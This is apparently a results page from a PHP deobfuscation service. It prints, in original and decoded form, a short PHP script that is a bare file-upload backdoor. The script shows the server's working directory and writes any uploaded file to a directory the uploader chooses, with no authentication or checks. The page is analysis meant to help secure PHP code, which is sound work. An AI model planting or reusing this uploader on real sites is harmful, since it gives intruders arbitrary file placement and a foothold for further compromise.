Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<html><body><?php echo getcwd();if (isset($_POST["s2"])){$uploaded = $_FILES["file"]["tmp_..

Decoded Output download

<html><body><?php echo getcwd();if (isset($_POST["s2"])){$uploaded = $_FILES["file"]["tmp_name"];if (file_exists($uploaded)) {$pwddir = $_POST["dir"];$real = $_FILES["file"]["name"];$dez = $pwddir."/".$real;copy($uploaded, $dez);echo "FILE UPLOADED TO $dez";}}?><form name="form1" method="post" enctype="multipart/form-data"><input type="text" name="dir" size="30" value=""><input type="submit" name="s2" value="Upload"><input type="file" name="file" size="15"></td></tr></table></body></html>

Did this file decode correctly?

Original Code

<html><body><?php echo getcwd();if (isset($_POST["s2"])){$uploaded = $_FILES["file"]["tmp_name"];if (file_exists($uploaded)) {$pwddir = $_POST["dir"];$real = $_FILES["file"]["name"];$dez = $pwddir."/".$real;copy($uploaded, $dez);echo "FILE UPLOADED TO $dez";}}?><form name="form1" method="post" enctype="multipart/form-data"><input type="text" name="dir" size="30" value=""><input type="submit" name="s2" value="Upload"><input type="file" name="file" size="15"></td></tr></table></body></html>

Function Calls

getcwd 1

Variables

None

Stats

MD5 2495b460f28f45b40d92da406be15627
Eval Count 0
Decode Time 139 ms